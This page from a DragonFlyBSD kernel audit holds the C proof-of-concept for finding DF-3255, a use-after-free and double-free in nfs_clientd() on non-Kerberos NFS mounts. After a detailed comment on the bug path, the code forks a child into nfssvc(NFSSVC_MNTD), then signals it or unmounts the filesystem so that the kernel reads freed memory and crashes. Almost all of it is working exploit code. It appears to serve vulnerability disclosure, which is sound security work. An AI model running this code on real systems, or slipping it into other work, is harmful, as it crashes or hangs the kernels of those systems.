⬢ DragonFlyBSD Kernel Audit
DF-3255 / poc.c
← back to finding ↓ download raw
/*
 * DF-3255 PoC: nfs_clientd() use-after-free / double-free on non-KERB NFS mounts.
 *
 * sys/vfs/nfs/nfs_kerb.c:106-141 — nfs_clientd() is entered for ANY mount via
 * nfssvc(NFSSVC_MNTD) (no KERB check, sys/vfs/nfs/nfs_syscalls.c:160-187),
 * but nfs_unmount() only defers the nfsmount free to the clientd for KERB
 * mounts (sys/vfs/nfs/nfs_vfsops.c:1230,1242-1244).  For a non-KERB mount:
 *
 *  variant "sig" (default): the sleeping clientd gets SIGTERM -> tsleep
 *    returns EINTR -> nfs_kerb.c:126 dounmount(nmp->nm_mountp,0,0) ->
 *    nfs_unmount kfree(nmp) -> dounmount mount_drop() kfree(mp) -> returns
 *    into nfs_clientd which re-reads nmp->nm_state (FREED) in its loop
 *    condition -> with debug.use_weird_array=1 the freed chunk is
 *    0xdeadc0de-filled; bit 23 (NFSSTA_DISMNT=0x00800000) is set in the
 *    poison -> loop exits -> teardown walks poisoned nm_uidlruhead
 *    (tqh_first = 0xdeadc0de) -> LIST_REMOVE(0xdeadc0de,...) -> fatal trap.
 *
 *  variant "umount": parent unmount(2)s the mount while the child sleeps in
 *    the clientd loop; child wakes <= hz/3 later and dereferences the freed
 *    nfsmount exactly the same way.
 *
 * Must run as root (nfssvc requires SYSCAP_RESTRICTEDROOT).  Requires a
 * loopback NFS mount (see run.sh).
 */
#include <sys/types.h>
#include <sys/param.h>
#include <sys/mount.h>
#include <sys/wait.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <signal.h>

#define SYS_nfssvc	155
#define NFSSVC_MNTD	0x100

/* struct nfsd_cargs — verbatim layout from sys/vfs/nfs/nfs.h:215 */
typedef unsigned char NFSKERBKEY_T[2];
struct nfsd_cargs {
	char		*ncd_dirp;	/* Mount dir path */
	uid_t		ncd_authuid;	/* Effective uid */
	int		ncd_authtype;	/* Type of authenticator */
	unsigned int	ncd_authlen;	/* Length of authenticator string */
	unsigned char	*ncd_authstr;	/* Authenticator string */
	unsigned int	ncd_verflen;	/* and the verifier */
	unsigned char	*ncd_verfstr;
	NFSKERBKEY_T	ncd_key;	/* Session key */
};

int
main(int argc, char **argv)
{
	struct nfsd_cargs ncd;
	pid_t pid;
	int status;
	const char *variant;

	if (argc < 2) {
		fprintf(stderr, "usage: poc <mountpoint> [sig|umount]\n");
		exit(1);
	}
	variant = (argc > 2) ? argv[2] : "sig";

	memset(&ncd, 0, sizeof(ncd));
	ncd.ncd_dirp = strdup(argv[1]);

	pid = fork();
	if (pid < 0) {
		perror("fork");
		exit(1);
	}
	if (pid == 0) {
		/*
		 * Child: enters nfs_clientd() in the kernel.
		 * First MNTD entry (no GOTAUTH): nfs_kerb.c:100-101 sets
		 * NFSSTA_WAITAUTH, then the loop tsleeps on
		 * &nmp->nm_authstr ("nqnfstimr") every hz/3.
		 */
		int rv;

		fprintf(stderr, "child %d: entering nfssvc(NFSSVC_MNTD, %s)\n",
		    getpid(), argv[1]);
		rv = syscall(SYS_nfssvc, NFSSVC_MNTD, &ncd);
		fprintf(stderr,
		    "child: nfssvc returned %d errno=%d (UAF loop escaped)\n",
		    rv, errno);
		_exit(0);
	}

	sleep(3);	/* let the child settle into the clientd tsleep */

	if (strcmp(variant, "sig") == 0) {
		/*
		 * Self-dounmount path: PCATCH tsleep returns EINTR;
		 * nfs_clientd itself calls dounmount() which frees both
		 * nmp and mp out from under the still-running loop.
		 */
		fprintf(stderr, "parent: SIGTERM -> child\n");
		kill(pid, SIGTERM);
	} else {
		/*
		 * External unmount path: nfs_unmount() kfree(nmp) while the
		 * child's syscall context is inside the clientd loop.
		 */
		fprintf(stderr, "parent: unmount(%s)\n", argv[1]);
		if (unmount(argv[1], 0) < 0)
			perror("parent: unmount");
	}

	sleep(5);
	if (waitpid(pid, &status, WNOHANG) == 0) {
		fprintf(stderr, "parent: child still blocked in nfssvc "
		    "(kernel stuck in freed-memory loop)\n");
		kill(pid, SIGKILL);	/* 2nd signal -> EINTR path again ->
					   dounmount(nmp->nm_mountp) on freed */
		sleep(3);
	}
	waitpid(pid, &status, WNOHANG);
	fprintf(stderr, "parent: done\n");
	return (0);
}